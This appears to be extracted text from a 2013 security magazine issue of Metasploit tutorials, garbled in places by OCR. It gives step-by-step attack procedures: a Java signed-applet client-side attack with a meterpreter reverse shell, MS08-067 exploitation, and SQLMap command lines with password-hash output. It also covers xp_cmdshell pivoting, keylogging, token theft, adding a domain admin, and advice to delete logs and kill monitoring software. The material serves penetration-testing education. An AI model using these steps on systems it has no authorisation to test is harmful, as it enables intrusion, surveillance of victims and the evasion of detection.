Click Scan (Figure 5)
Figure 3. Metasploit editions
Figure 4. Metasploit dashboard
Figure 5. Scan button
Figure 6. Target settings
Figure 7. Scan launched
Figure 8. Tasks display
58
EXPLOITING WITH METASPLOIT
TBO 01/2013
Step 2
In the New Discovery Scan window display, enter
the target addresses that you want to include in the
scan (Figure 6).
Optional
Click Show Advanced Options to verify and config-
ure the advanced options for the scan.
Step 3
Launch the scan (Figure 7).
By clicking on Tasks, you will see the status of
the different tasks. This display includes the type of
task, details, progress and the timestamp/duration
of the process. This list will include task that are
running, were stopped or completed (Figure 8).
Once you complete the scanning of target sys-
tems, you could view discovered host information
from the Analysis tab, the option Hosts (Figure 9
and Figure 10).
By clicking an specific host, you will get addition-
al information of it as: basic information, services,
vulnerabilities and so on (Figure 11).
Attack Phase
In the attack phase, we use exploits to execute se-
quence of commands (web application exploits,
code injection, buffer overflow and more) to target
a specific vulnerability found in a host, system or
application. Metasploit Community offers access
to a huge library of exploit modules, auxiliary mod-
ules, and post-exploitation modules.
Step 1
Select the target host. Then, click Modules tab
(Figure 12).
Figure 12. Choosing the target host
Figure 11. Analyzing status of a discovered host
Figure 10. Hosts discovered
Figure 9. Path to Analysis tab
Figure 14. Running a module. Example 1
Figure 13. Search engine
www.hakin9.org/en 59
Step 2
Use the search engine to find a specific module.
Use the keyword tags to define the search term
(Figure 13).
Step 3
Click on a module name to select the module. The
Module window appears. Define all the parame-
ters for the exploitation. It depends of the selected
module.
Step 4
Run the module. Following, you will see example
of different modules running (Figure 14-16).
By clicking on Tasks, you will see the status of
the different modules running (Figure 17).
After you gain access to a target system, you can
run run post-exploitation modules to take control of
Figure 17. Tasks. Modules running
Figure 16. Running a module. Example 3
Figure 15. Running a module. Example 2
the system (Figure 18).
After you obtain a session on the target system,
you can view the post-exploitation modules that
are applicable for that session.
A post-exploitation module provides a standard-
ized interface that you can use to perform post-ex-
ploit attacks. The post-exploitation phase enables
you to collect further information about a target
system and to gain further access to the network.
Conclusions
It is important to understand that appropriate pen-
etration testing is critical to sever security. If you
decide to perform your own pentests (free option),
Metasploit Community is a good option to start
with. If you have the opportunity to buy the solution
Metasploit Pro, dont doubt it twice. This solution
will give you an enormous quantity tools, modules
and options to perform an all-inclusive pentest.
J ust keep in mind, to follow the four phase meth-
odology. It is not pentest just for pentest. From the
results of these tests and the decisions taken from
that results, depends the security of your organi-
zation.
ABDY MARTNEZ
Abdy Martnez, Telecommunications Ad-
ministrator at AES Panama, is specialized
in Network / Information Security and Fo-
rensics. CCNA Security, CompTIA Securi-
ty+ (2011 objectives) and CCDA certifed.
Figure 18. Active sessions
References
[1] http://www.metasploit.com/
[2] Metasploit Community. User Guide. Release 4.5
[3] http://www.infosecwriters.com/text_resources/pdf/
PenTest_MSaindane.pdf
60
EXPLOITING WITH METASPLOIT
TBO 01/2013
How To Exploit
Windows 8
With Metasploit
In this article were going to learn how to exploit (Windows 8
Preview Build 8400) with client-side attack technique, well get
meterpreter session on windows 8 machine. For those who dont
know what is metasploit project.
T
he Metasploit Project is a computer securi-
ty project which provides information about
security vulnerabilities and aids in penetra-
tion testing and IDS signature development. Its
most well-known sub-project is the open-source
Metasploit Framework, a tool for developing and
executing exploit code against a remote target ma-
chine. Other important sub-projects include the Op-
code Database, shell-code archive, and security re-
search. The Metasploit Project is also well known
for anti-forensic and evasion tools, some of which
are built into the Metasploit Framework. (Wikipedia)
In this article were going to work with Metsaploit
the console presented in the frst graph.
How to prepare your labs ?
First You need Backtrack 5 with metasploit or you
can download metasploit project for your system
from link below: http://www.rapid7.com/products/
metasploit/download.jsp. Secondly, you need win-
dows 8 preview Build 8400
Figure 1. Metasploit Console
Figure 2. MSFGUI
Figure 3. Msf console terminal
www.hakin9.org/en 61
Now ready For exploiting ??
1 frst, open the terminal and type msfconsole
Note
I typed sudo su to take root privilage first be-
cause Im not working on backtrack if youre on
backtack just type msfconsole in terminal as shown
in Figure 3
Wait for a while and it will be opened, youll see a
command line starts with MSF> as shown in the
Figure 4.
2 Secondly, Ill use an exploit called J ava_signed_
applet which targets J AVA vulnerable versions
and can affect a huge amount of computers.
Well type in Msf > search java signed, as shown
in Figure 5.
Well use the first one expl oi t / mul t i / br owser /
j ava_si gned_appl et to use any exploit in metasploit
project type use before exploit name. As shown
in Figure 6.
Hint
To get more info about the exploit you can type
info and youll get more information about this ex-
Figure 7. Exploit information Figure 6. Use exploit
Figure 5. Search for java signed applet
Figure 4. Msf command line
Listing 1. Exploit Description
Description:
Thi s expl oi t dynami cal l y cr eat es a .j ar
f i l e vi a t he
Msf ::Expl oi t ::J ava mi xi n, then si gns
t he i t . The r esul t i ng
si gned
appl et i s pr esent ed t o t he vi ct i mvi a
a web page wi t h an appl et
t ag.
The vi ct i m s J VM wi l l pop a di al og
aski ng i f t hey t r ust t he
si gned
appl et . On ol der ver si ons t he di al og
wi l l di spl ay t he val ue of
CERTCN i n t he Publ i sher l i ne. Newer
J VMs di spl ay UNKNOWN
when
t he si gnat ur e i s not t r ust ed ( i . e. ,
i t s not si gned by a
t r ust ed
CA). The Si gni ngCer t opt i on al l ows you
t o pr ovi de a t r ust ed code
si gni ng cer t , t he val ues in whi ch wi l l
over r i de CERTCN. I f
Si gni ngCer t i s not gi ven, a r andoml y
gener at ed self-si gned
cer t wi l l
be used. Ei t her way, once t he user
cl i cks r un, t he appl et
execut es
wi t h f ul l user per mi ssi ons.
62
EXPLOITING WITH METASPLOIT
TBO 01/2013
ploit as shown in Figure 7. Heres the exploits
description and I think that now we understand
how this exploit works (Listing 1). We need to
know what's option for this exploit so we'll type in
show options it's included also in info, as shown
in Figure 8.
3 Next, we'll set the SRVHOST which will be the
attacker IP. We'll type ifconfg in terminal to
get internal IP address, as shown in Figure 9
it's 192.168.1.110.
We'll type in set SRVHOST 192.168.1.110
We'll set the target which is (1 Windows
x86) because we're going to attack windows
machine so type in set target 1
We'll set the LHOST which is Attacker IP
and, because it's inside an Internal network,
we'll set it with our local IP (192.168.1.110).
Note
If youd like to attack outside your local network,
you need to set your public IP address in LHOST,
and enable DMZ on attacker machine or enable
port forwarding.
Now you need to know which payload youll
use after attacking machine and the most fa-
miliar one is meterpreter, so well set the pay-
load (windows/meterpreter/reverse_tcp), as
shown in Figure 13.
Note
If youd like to use another payload you can type in
show payloads and choose your preferred payload.
Well specify the URI which will be sent to vic-
tim machine. I want to make it on the main di-
rectory so Ill type in set URIPATH / as shown
in Figure 14.
Note
If you need to specify another URI name you can
do it easily by typing in set URIPATH name and
you can change name to your preferred word.
Figure 15. Exploit
Figure 14. Set URIPATH
Figure 13. Set Payload
Figure 12. Set LHOST
Figure 11. Set target
Figure 10. set SRVHOST
Figure 9. ifconfg
Figure 8. Show options
Figure 17. System information
Figure 16. Meterpreter
www.hakin9.org/en 63
We Can do some commands with victim PC such
as capturing screen or recording mic.
First, heres the first command sysinfo which tell
you some information about the system (Figure 17).
We can also see what the processes run at the time
in victim machine with ps command (Figure 18).
Would you like to hear the victims voice?! You
can do it with mic_record command (Figure 19).
And, if you need to take a screen-shot of victims
screen you can do it easily by screenshot com-
mand (Figure 20).
Finally, I tried to upload payload and execute it in
victim machine, so, if you want to keep the victim
longer with you then you should upload another
backdoor to keep in touch with them (Figure 21).
If you need any help with meterpreter just type
help and all commands will come up and show in
your screen (Figure 22).
AHMED SHERIF EL-DEMRDASH
Information security researcher | PHP
Developer | Google Ambassador |
Egyptian Malware analyst
Passionate of anything related to in-
formation security. For any help dont
hesitate to contact me
ahmadsherif24@gmail.com
Twitter: @_ahmadsherif
Facebook: fb.com/ahmadsheri
Well type in exploit to run it, and it will give us
the URI which is our IP address with your pre-
ferred URIPATH Figure 15.
Now, We need to send the URL to a victim ma-
chine so well open it with our windows8 machine.
Finally, a message will appear on victim ma-
chine after opening URL. If he/she clicked on
Run, a meterpreter sessions will be opened in
attacker PC, as shown in Figure 16.
Figure 19. Mic record
Figure 18. Processes
Figure 21. Upload executable fle
Figure 22. Help
Figure 20. Screen-shot
References
http://en.wikipedia.org/wiki/Metasploit_project
http://www.metasploit.com/modules/exploit/multi/
browser/java_signed_applet
http://www.defcon.org/images/defcon-17/dc-17-pre-
sentations/defcon-17-valsmith-metaphish.pdf
64
EXPLOITING WITH METASPLOIT
TBO 01/2013
How to Use Metasploit
with Backtrack
This article has been issued for educational purpose. The author
cannot be held responsible for how the topics discussed in this
document are applied.
B
ackTrack is a distribution based on the Debi-
an GNU/Linux distribution aimed at digital
forensics andpenetration testing use.it is
named after backtracking, a search algorithm. The
current version is BackTrack 5 R3. now based on
Ubuntu 10.04 (Lucid) LTS, which is itself is based
on Debian. [1]
The BackTrack distribution originated from the
merger of two formerly competing distributions
which focused on penetration testing:
WHAX: a Slax based Linux distribution devel-
oped by Mati Aharoni, a security consultant.
Earlier versions of WHAX were called Whoppix
and were based on Knoppix.
Auditor Security Collection: a Live CD based
on Knoppix developed by Max Moser which
included over 300 tools organized in a user-
friendly hierarchy.
The overlap with Auditor and WHAX in purpose
and in their collection of tools partly led to the
merger. [1]
With this introduction in mind, and also its popu-
larity, BackTrack has become one of the top secu-
rity tool which is used by both hackers and system
administration. The simplicity of use and also won-
derful collection of tools, has made it more popu-
lar and powerful of course. In this short tutorial of
BackTrack, we will get to know an exploiting frame-
work called Metasploit; which was created by great
HD Moore. Metasploit itself has a standalone ver-
sion, Metasploit Framework which is used by pros.
BackTrack includes Metasploit too, but it doesnt get
updated with new modules, e.g. Exploit Module. At
first we go through basic, yet main, definitions and
parts inside of Metasploit. Our amigo has lots of fea-
tures that could not be covered completely here; So
we focus on the two big brothers: Payload & Meter-
preter. Then we will practice one trick or two.
A payload is the piece of software that lets you
control a computer system after its been exploited.
The payload is typically attached to and delivered
by the exploit. J ust imagine an exploit that carries
the payload in its backpack when it breaks into the
system and then leaves the backpack there. Yes,
its a corny description, but you get the picture.[3]
There are three different types of payload module
types in Metasploit: Singles, Stagers, and Stages.
These different types allow for a great deal of ver-
satility and can be useful across numerous types
of scenarios. Whether or not a payload is staged, is
represented by / in the payload name. For exam-
ple, wi ndows/ shel l _bi nd_t cp is a single payload,
with no stage whereas wi ndows/ shel l / bi nd_t cp
consists of a stager (bi nd_t cp) and a stage (shell).
Singles
Singles are payloads that are self-contained and
completely standalone. A Single payload can be
something as simple as adding a user to the target
system or running calc.exe.
www.hakin9.org/en 65
Stagers
Stagers setup a network connection between the
attacker and victim and are designed to be small
and reliable. It is difficult to always do both of
these well so the result is multiple similar stagers.
Metasploit will use the best one when it can and
fall back to a less-preferred one when necessary.
Windows NX vs NO-NX Stagers
Reliability issue for NX CPUs and DEP
NX stagers are bigger (VirtualAlloc)
Default is now NX + Win7 compatible
Stages
Stages are payload components that are down-
loaded by Stagers modules. The various payload
stages provide advanced features with no size lim-
its such as Meterpreter, VNC Injection, and the
iPhone ipwn Shell. Payload stages automatically
use middle stagers
A single r ecv( ) fails with large payloads
The stager receives the middle stager
The middle stager then performs a full download
Also better for RWX [4]
Metasploits most popular payload is called Meter-
preter, which enables you to do all sorts of funky stuff
on the target system. For example, you can upload
and download fles from the system, take screen-
shots, and collect password hashes. You can even
take over the screen, mouse, and keyboard to fully
control the computer. Meterpreter, short for The Me-
ta-Interpreter is an advanced payload that is includ-
ed in the Metasploit Framework. Its purpose is to
provide complex and advanced features that would
otherwise be tedious to implement purely in assem-
bly. The way that it accomplishes this is by allow-
ing developers to write their own extensions in the
form of shared object (DLL) files that can be upload-
ed and injected into a running process on a target
computer after exploitation has occurred. Meterpret-
er and all of the extensions that it loads are executed
entirely from memory and never touch the disk, thus
allowing them to execute under the radar of stan-
dard Anti-Virus detection. Aside from ease of detec-
tion, it is common for daemons to run in what is re-
ferred to as a chr oot ed environment. This term de-
scribes the action of changing the logical root direc-
tory for an application which is accomplished by call-
ing chr oot on UNIX derivatives. When an application
is running in a chr oot ed environment it is intended
that it be impossible for the application to reference
files and directories that exist above the pseudo-root
directory. Since the command interpreter typical-
ly exists in a directory that is outside of the scope of
the directory that an application would chroot to, the
execution of the command interpreter becomes im-
possible. Lastly, the command interpreter is limited to
the set of commands that it has access to, both inter-
nal and external. The set of external commands that
may or may not exist on a machine leads to issues
with automation and presents problems with flexibil-
ity, not to mention being tied to one specific platform
or command interpreter in most cases. These three
problems illustrate some of the down-sides to relying
on a native command interpreter and come to form
the primary reasons for implementing the topic of
this document: Meterpreter. To that point, meterpret-
er is capable of avoiding these three issues due to
the way it has been implemented. Firstly, meterpret-
er is able to avoid the creation of a new process be-
cause it executes in the context of the process that is
exploited. Furthermore, the meterpreter extensions,
and the meterpreter server itself, are all executed en-
tirely from memory using the technique described in
Remote Library Injection. The fact that meterpreter
runs in the context of the exploited process also al-
lows it to avoid issues with chroot because it does
not have to create a new process. In some cases the
application being exploited can even continue to run
after meterpreter has been injected. Finally, and per-
haps the best feature of all, meterpreter allows for
incredible control and automation when it comes to
writing extensions. Server extensions can be written
in any language that can have code distributed as a
shared object (DLL) form. This fact makes it no lon-
ger necessary to implement specially purposed po-
sition independent code in what typically requires a
low-level language such as assembly. Aside from
solving these three issues, meterpreter also provides
a default set of commands to illustrate some of the
capabilities of the extension system. For instance,
one of the extensions, Fs, allows for uploading and
downloading files to and from the remote machine.
Another extension, Net , allows for dynamically cre-
ating port forwards that are similar to SSHs in that
the port is forwarded locally on the clients machine,
through the established meterpreter connection,
to a host on the servers network. This enables the
reaching hosts on the inside of the servers network
that might not be directly reachable from the client.
[5] Scenario: We need to find a Windows machine
running SMB. Keep in mind that this vulnerability has
been fixed by a patch and not in Service Pack(s); so
dont care about the service pack(s) versions of Win-
dows machines, shown by Metasploit, and give all
of them a shot. The IP addresses of test network is
192.168.250.0/24. We are going to use an exploit on
Windows with the following, shortened, details:
66
EXPLOITING WITH METASPLOIT
TBO 01/2013
Vendor Advi sor y I D: MS08- 067
Vul ner abi l i t y Type: Remot e Code Execut i on
CVE Ref er ence: CVE- 2008- 4250
Ri sk Level : Hi gh
CVSSv2 Base Scor e: 10. 0 ( HI GH)
Met aspl oi t Expl oi t I D: ms08_067_net api
Sour ce: US- CERT/ NI ST
Description: This vulnerability is caused by an er-
ror when processing malformed RPC (Remote
Procedure Call) requests. The vulnerability is
code execution type vulnerability. Attacker suc-
cessfully exploiting this vulnerability can run code
of his or hers choice in the affected machine. This
vulnerability is caused due to overfow when han-
dling malformed RPC requests. This enables ex-
ecuting arbitrary code of the attacker. Technical-
ly the vulnerability exists in the Server service. [2]
In simple words: RPC uses a flaw to bypass the
authentication needed in SMB; hence, the SMB
must be running (like when a user shares some-
thing). SMB listens to TCP port 445. Now its show-
time: We bring up Metasploit Framework, a.k.a
msf, in BackTrack (Figure 1).
1. cd to Metasploit Framework directory.
2. Then run the msfconsole script.
3. At the msf prompt msf> we call the exploit
from its path with use.
4. From exploit prompt msf exploit(ms08_067_
netapi) >, we call scanner.
5. In the scanner prompt msf auxiliary(smb_ver-
sion) >, we set the remote host. As you can see,
since we want to fnd an SMB running machine,
we chose the entire subnet. Note: the remote host
keyword, RHOST, has to be in capital letters.
6. (Optional but recommended)To increase the
speed of search process, we set the THREADS
value to 20; default is 1.
7. Let the scanner run. The after result and steps
are shown and described Figure 2. Who is qual-
ifed to be our prey? The host 192.168.250.20
seems good (Figure 3).
8. We load the exploit by use.
9. Then we set the remote host, RHOST, IP ad-
dress: 192.168.250.20
10. We need to defne the application we want to
use after exploitation, PAYLOAD.
11. We defne our machine as local host, LHOST,
with its IP address: 192.168.250.25
12. And exploit.
13. When we got meterpreter > prompt, it means
we are done. To fnish our job we run. shell
command and we will be welcomed by Win-
dows prompt.
Foreword: Use your knowledge in ethical ways; at
least try to!
VAHID SHOKO UHI, (MAR 2013)
I am an Information Security Consul-
tant with more than a decade of expe-
rience, mostly in Service Provider envi-
ronments. My job focuses on Design-
ing: Secure Networks, Managed Se-
curity Service Provider (MSSP), Security Operation Cen-
ter (SOC),Research and Training. In addition being Securi-
ty Consulting, I also am a System Administrator with great
hands-on experience in Unix-family Operating Systems: So-
laris, BSD and Linux. In my free time I write tutorial articles.
Figure 1. Metasploit in Backtrack
Figure 2. The results
Figure 3. Attacking the host
References
[1] www.wikipedia.com
[2] www.securiteam.com
[3] www.metasploit.com
[4] www.ofensive-security.com
[5] skape- Metasploits Meterpreter
Original Site of BackTrack: http://www.backtrack-linux.org
Original Site of Metasploit: http://www.metasploit.com
68
EXPLOITING WITH METASPLOIT
TBO 01/2013
The Inside-Outsider
Leveraging Web Application Vulnerabilities + Metasploit to
become the Ultimate Insider
Strategy without tactics is the slowest route to victory. Tactics
without strategy is the noise before defeat Sun Tzu
Greed is good Gordon Gekko, Wall Street
A
n effective penetration test is one that has
a specific objective. Typically, the objective
is to identify and exploit as many vulnera-
bilities as can be found, within the scope of the
rules of engagement. However, my interpretation
of objective is a little different. For me, being ob-
jective is really about whether I, as a penetration
tester, can gain access to information assets that
the organization considers critical. This means that
whilst I might uncover several vulnerabilities dur-
ing the course of a penetration test, but if am un-
able to gain access to critical information assets of
the organization, the fundamental objective is still
not met.
I had been working with a client in the manufac-
turing sector recently. This company has a sizable
IT deployment with multiple locations, a private
MPLS cloud network connecting all their sites.
SAP deployments spanning across their locations,
as well as a multitude of commercial and custom
web applications that were being utilized for every-
thing from Human Resource Management to Sup-
plier and Customer Relationship Management.
The most critical information asset for this com-
pany was its R&D Design Information. This com-
pany would spend months designing components
that it would manufacture and subsequently sell to
its customers. The company is in a highly competi-
tive market, where it is the leader. Therefore, even
the theft / unauthorized disclosure of a single de-
sign would result in millions of dollars lost for the
company in terms of business opportunities and
client confidence. The company had also been as-
sessed and tested for security vulnerabilities over
the last 3 odd years, but there were incidents that
had occurred and the management wanted anoth-
er test to be performed.
Our objective was simple. The CEO conveyed
that if we were able to gain access to R&D De-
sign Information, then the Penetration Test would
be a successful one. We could use any method of
incursion, internally or externally, with the excep-
tion of social engineering and Denial-Of-Service to
achieve our goals.
This article is essentially the story of that pen-
etration test and the things that my team and I dis-
covered about Metasploit and how to become the
Ultimate Insider in an organization. Lets begin....
The First Incursion The Web App
Its no surprise that companies deploy web apps by
the boatloads today. Web Apps have been ubiqui-
tous in the enterprise. Apps fuel HR departments,
purchase departments, corporate communcation,
intranets, extranets and so on. These applications
may be commercially available applications, or-
ganisations servers, some of which are developed
in-house. Some of them are applications that the
organization develops themselves1. Today, the
cloud based apps and SaaS2 apps are also preva-
lent in the organization. At times, these applications
are deployed in production with very little thought
www.hakin9.org/en 69
given to security. Leaving aside custom-built appli-
cations (which are largely non-secure), companies
pay top dollar for commercial applications that they
assume are inherently secure (because they are
developed by a reputable company/they have mul-
tiple deployments and the organization assumes
that security would naturally be an important con-
sideration with all these deployments).
The company we were testing was running a mix
of these applications. Some apps were developed
in-house, whereas some of their key apps were
commercial apps that were deployed in the com-
panys servers.
Our first incursion was into the companys HR
application that was a public facing web applica-
tion. After reconnaissance and mapping the web
application, we started combing the application for
vulnerabilities. One of the key findings in testing
the application, was that we identified that the ap-
plication was vulnerable to SQL Injection on the
login page. This was a significant finding, as the
application contained highly sensitive information
about the companys employees and all their per-
sonal information, salary information and so on.
Once we discovered that the application was vul-
nerable to SQL Injection, we fired up our favourite
tool for database exploitation, SQLMap.
SQLMap is one of the best tools I have worked
with for database exploitation. SQLMap works
largely for exploiting a known SQL Injection vul-
nerability, although it does some vulnerability dis-
covery as well.
We extracted the HTTP request into a text file,
and ran SQLMap with the following command line
options: Listing 1.
This command line option on SQLMap essen-
tially reads a request file (it was a HTTP POST
Request), performed a comprehensive Database
fingerprint and retrieved the current user of the da-
tabase.
To our delight, we found the current user of the
database was sa or System Administrator, the
highest level of privilege for a Microsoft SQL Serv-
er 2005 system.
This meant that the HR application was running
on the Database with root credentials. It is a bad
practice and one that was to come up on our report
as a high severity vulnerability later.
Once we identified that the server was running
with sa as the user, we moved quickly to enumer-
ate other users and their password hashes on the
database. We used the SQLMap command
pyt hon sql map. py r / r equest Fi l e. t xt user s
passwor ds dbms=mssql
This command essentially executed the same
request and fetched the usernames and password
hashes from the sys.sql_logins table to the MS-
SQL Database. The table provides the password
hash for a queried username.
[ 15: 43: 29] [ I NFO] r et r i eved:
[ 15: 43: 29] [ DEBUG] per f or med 7 quer i es i n 8 seconds
[ I NFO] f et chi ng number of passwor d hashes f or user sa
[ 15: 43: 29] do you want t o per f or ma
di ct i onar y- based at t ack agai nst r et r i eved passwor d
hashes? [ Y/ n/ q] y
[ *] sa [ 1] : passwor d hash: 0x0100FFE2359D35EACB064
FACF50F350EC31E64D6ABF40747B94A: admi n123
- - - - SNI P - - - -
Listing 1. Run SQLMap
pyt hon sql map.py r /r equest Fi l e.t xt f -cur r ent -user
sql map i dent i f i ed t he f ol l owi ng i nj ect i on poi nt s with a t ot al of 0 HTTP(s) r equest s: ---
Pl ace:
GET Par amet er : t xt Sear ch Type: st acked quer i es Ti t l e: Mi cr osof t SQL Ser ver /Sybase
st acked quer i es Payl oad: t xt Sear ch=admi n ; WAI TFOR DELAY 0:0:5 ;--
--- [15:20:22] [I NFO] t est i ng Mi cr osof t SQL Ser ver [15:20:22] [WARNI NG]
t i me-based compar i son needs l ar ger st at i st i cal model . Maki ng a f ew dummy
r equest s, pl ease wai t .. [15:20:37] [I NFO] conf i r mi ng Mi cr osof t SQL Ser ver
[15:20:37] [I NFO] t he back-end DBMS is Mi cr osof t SQL Ser ver web ser ver
oper at i ng syst em: Wi ndows 2003 web appl i cat i on t echnol ogy: ASP.NET,
Mi cr osof t I I S 7. 5, ASP.NET 2. 0. 50727 back-end DBMS: Mi cr osof t SQL Ser ver
2005 [15:20:37]
[I NFO] f et chi ng cur r ent user [15:20:37]
[I NFO] r esumed: cur r ent user : sa
70
EXPLOITING WITH METASPLOIT
TBO 01/2013
As you can see from the above block that SQL-
Map provides extremely useful functionality of
password cracking as well. The password provid-
ed by the administrator in this case was poor and
it was cracked in a matter of a few minutes.
We now had our first channel into their environ-
ment. However, we hadnt reached our objective
yet. The goal beckoned to us. And greed in this
case, turned out to be very very good....
The tunnel to the inside
The point of every great Penetration Test is to nev-
er stop when you get root on a box, but to con-
stantly pivot forward to identify how deep an at-
tackers access to the internal network and data is.
We had barely scratched the surface of the pe-
rimeter. We had the Administrative Database of
the HR application.
Our next objective was to get deeper into the or-
ganizations IT infrastructure to gain access to the
information assets of value Design data.
Our reconnaissance through our initial port scans
on the server hosting the web application showed
that port 1433 was open. Port 1433 is a standard
port for Microsoft SQL Server to run. Another ma-
jor problem Never expose the Database direct-
ly to the internet. The firewall should have filtered
access to port 1433, but that was not to be. This
proved to be very lucky for us. As administrator,
not only did we have access to the database, we
also had access to the database from the outside3.
We had got complete access to the Database,
but we didnt have access to the Operating System
in the backend. Thats why we needed to enable
xp_cmdshell. xp_cmdshell is a feature that has
been provided by Microsoft where the Database
users can execute commands on the backend op-
erating system using syntax like so:
xp_cmdshel l di r c: \
I dont know how many people use xp_cmdshell
to manage their Database servers, but I do know
that it is extremely popular and useful for hackers
looking to pivot their access to the database into
the Operating system, because they can execute
commands on the back-end operating system,
that means a great deal when youre a remote at-
tacker looking to compromise the system.
We fired up our Metasploit console and began our
pivot into the organization. The first thing we had
to do was ensure that xp_cmdshell was enabled. It
usually disabled by most administrators and it has
to be explicitly enabled by us if we have to use that
functionality. For an administrator, it can be done
with the sp_configure configuration feature: sp_
configure xp_cmdshell 1 enables the xp_cmd-
shell. However, Metasploit has a nifty little exploit for
that, where xp_cmdshell can be enabled and can
upload shellcode to provide a reverse_tcp meter-
preter shell. The exploit can be run as follows:
use expl oi t / wi ndows/ mssql / mssql _payl oad
SET PAYLOAD wi ndows/ met er pr et er / r ever se_t cp
After that we set our RHOST and LHOST proper-
ty and ran the exploit.
Figure 1 is a screenshot of the exploit and stager
being delivered and executing on the remote ma-
chine with a meterpreter shell available for us to
work with.
With a successful attack against the operating
system, we were now able to gain complete ac-
cess to the backend operating system through the
meterpreter shell.
The Path to Gold!
The meterpreter (a.k.a The Meta Interpreter) is a
payload delivery system developed by the creators
of Metasploit. The Meterpreter has been designed
to run in memory, not spawn a new process (it in-
jects itself into existing processes), and therefore run
without being detected by most anti-virus products.
The meterpreter can jump from an existing process
to another compromised process in the operating
system. (The environment we were running it had a
fully functional and updated McAfee Enterprise Anti-
Virus solution). The meterpreter also creates new
extensions by uploading DLLs to the system, that is
executed in-memory and the meterpreter API calls
these functions to get access to more functionality
on the compromised system. It is typically used for
pivoting through a compromised host to penetrate
deeper into an organization.
At this point in time, we had still not achieved our
goal of gaining access to Design Data. While we
had compromised a web server and its database,
we were still to reach the annals of the internal net-
work and gain access to the design information on
the servers and workstations of the design engi-
neers of the company.
Figure 1. Screenshot of the xp_cmdshell and meterpreter
payload being delivered to the target machine with a
meterpreter shell
www.hakin9.org/en 71
Useful commands meterpreter
The meterpreter has several useful extensions,
one of them being the ps command that gives us
a list of all services running in the target system.
met er pr et er > ps
Figure 2 is a listing of all the services of the oper-
ating system retrieved using the meterpreter shell
Once you are able to retrieve the services, you
can migrate to a different service by DLL injecting
into that service. In Figure 2, you can see that we
migrated into the explorer.exe process and started
off a keystroke sniffer on the target system. Fig-
ure 3 indicates the start of the keystroke service
that can be invoked with keyscan_start. It can be
dumped on the attackers local system with key-
scan_dump.
We also ran a sniffer to sniff for traffic to and from
the target system. This can be initialized with the
use sniffer command, followed up with a sniffer_in-
terfaces that lists all the available interfaces on the
target system, which is followed up with a sniffer_
start <interface number> <packet buffer size>.
Figure 4 is an image of us dumping the sniffer re-
sults into a cap file after analysis on the target sys-
tem. It can be run with the sniffer_dump command
Perhaps the most useful command, and the one
that gave us comprehensive access to the inside
network was the use of the incognito option in the
meterpreter.
The incognito command in the meterpreter al-
lows you to impersonate users on the network.
Windows systems use tokens as a measure of au-
thentication and authorization while accessing a
network. These tokens are not unlike web cookies
that can be used by windows users to not have to
constantly authenticate to gain access to network
resources or system resources4. SYSTEM is the
highest privilege in the tokens available in a target
system.
Our first task was to identify if any tokens were
listed and then potentially be stolen for us to go
deeper into the organization5. We ran the com-
mand use incognito to start using the options and
commands under the module. Our first task was
to identify the available delegation tokens that we
could potentially steal.
Figure 5 shows the tokens available on the tar-
get machine of which we stole the Administrators
tokens on the companys domain.
Once we had the domain administrators tokens,
we were essentially the administrator of the do-
main and the domain was our next target.
The incognito module has an add_user option
that allows the tester to add usernames and pass-
words on the domain, and given the right creden-
tials, add domain admin users to the domain as
well, therefore, we didnt resist. We added user
we45 with password we45 to the domain and then
added the user we45 to the list of Domain Admin-
istrators.
Figure 6 displays the add_user option of the in-
cognito module where user we45 was added to
both the domain and the domain admins group.
Figure 4. Snifer dump from the target system onto a cap fle
Figure 3. keyscan_start on meterpreter on the target system
Figure 2. Services listing using the meterpreter shell
Figure 6. Adding users to domain and Domain Admins
group
Figure 5. List of tokens available for impersonation
72
EXPLOITING WITH METASPLOIT
TBO 01/2013
Now we had the ability to control the entire in-
ternal infrastructure from outside the environment.
However, the fact that we didnt have GUI access
was a little inconvenient. We wanted to gain ac-
cess via Remote Desktop Protocol (RDP) to the
web application and subsequently generate an
RDP session into the domain server, from where
we could control the entire domain of the organi-
zation.
Meterpreter has an option to enable RDP on the
target system with the getui command. Therefore,
we ran the following command:
r un get gui u we45 p we45
This command gave us RDP access to the target
system, after which we were created another Re-
mote Desktop session to the domain server to ex-
amine our proverbial spoils of war. Figure 7 and
8 are images of our RDP session into the domain
server.
From then, it was only a matter of time before
we could get complete access to the design in-
formation on the internal network. We egressed
some information to evidence that we had been
able to gain access to said information, ran clean-
up scripts to ensure that the servers were not left in
a weakened state after our analysis, immediately
called their emergency contact person and warned
him to remove all the shellcode executables, and
user from the domain server6.
We had been able to execute an internal attack
through a vulnerable web application. When we re-
vealed our findings to the management, they were
quite alarmed that we had been able to compre-
hensively breach their internal network simply by
gaining access to their web application.
Conclusion
The above article highlights some techniques that
testers can use when compromising internal net-
works being outside the network. However, while
any tester faces an immense urge to skip the steps
and move directly into exploitation, it is the patient
and the meticulous testers that will find the best
results. A consistent and repeatable a methodol-
ogy is an absolute essential for a pen-tester. A tes-
ter who follows the methodology and is skilled at
analyzing and interpreting a given situation will put
tools to the best use.
Another important learning that my own team
had from this test was that gaining root on a box is
perhaps the beginning of a test and not the end or
sole objective of it. Attackers are constantly look-
ing to create deeper levels of access into an or-
ganizations infrastructure. We, as pentesters must
apply the same level of drive and determination to
reach a data oriented goal (in this case Design In-
formation).
ABHAY BHARGAV
Abhay Bhargav is the CTO of we45 Solutions India Pvt.
Ltd, a focused Information Security Company (www.
we45.com). We45 provides security consulting, testing
and training services and handles Vulnerability Assess-
ment and Penetration Testing projects for Infrastruc-
ture and Apps of Fortune 1000 companies. He can be
reached at abhay@we45.com, On twitter at @abhayb-
hargav and LinkedIn at http://in.linkedin.com/in/abhay-
bhargav. He is the co-author of Secure Java for Web
Application Development and is currently authoring
PCI Compliance A Defnitive Guide
Figure 7. RDP access to the domain server
Figure 8. Access to the Active Directory Users in the Domain
Server
74
EXPLOITING WITH METASPLOIT
TBO 01/2013
Metasploit Fu post
exploitation
People always emphasize on breaking into the system or the
exploitation part. We are into a system, what should be the
done further? Post exploitation is rarely talked about which is
as important as getting in. This article will mostly focus on some
necessities and possibilities post exploitation of a system.
A
fter putting in efforts for successful exploi-
tation of a system, lets look at some of the
options that become available for a pentest-
er or security auditor. The options can be broad-
ly divided into necessary and possible. Perform-
ing all of these actions assume you already have a
meterpreter shell of the victim machine.
Necessary These should always be done in
order to stay stealthy and not get detected or
caught.
migrate to another process,
killing monitoring software,
deleting Logs.
Possible These can be done to get a deep
insight into the system or the network broken-
in. Use of these techniques can allow us to
maintain access to the system and get access
to more systems in the network infrastructure.
understanding, gaining and collecting as much
information about the victim,
privilege escalation,
backdooring or installation of rootkits,
using victim as a pivot.
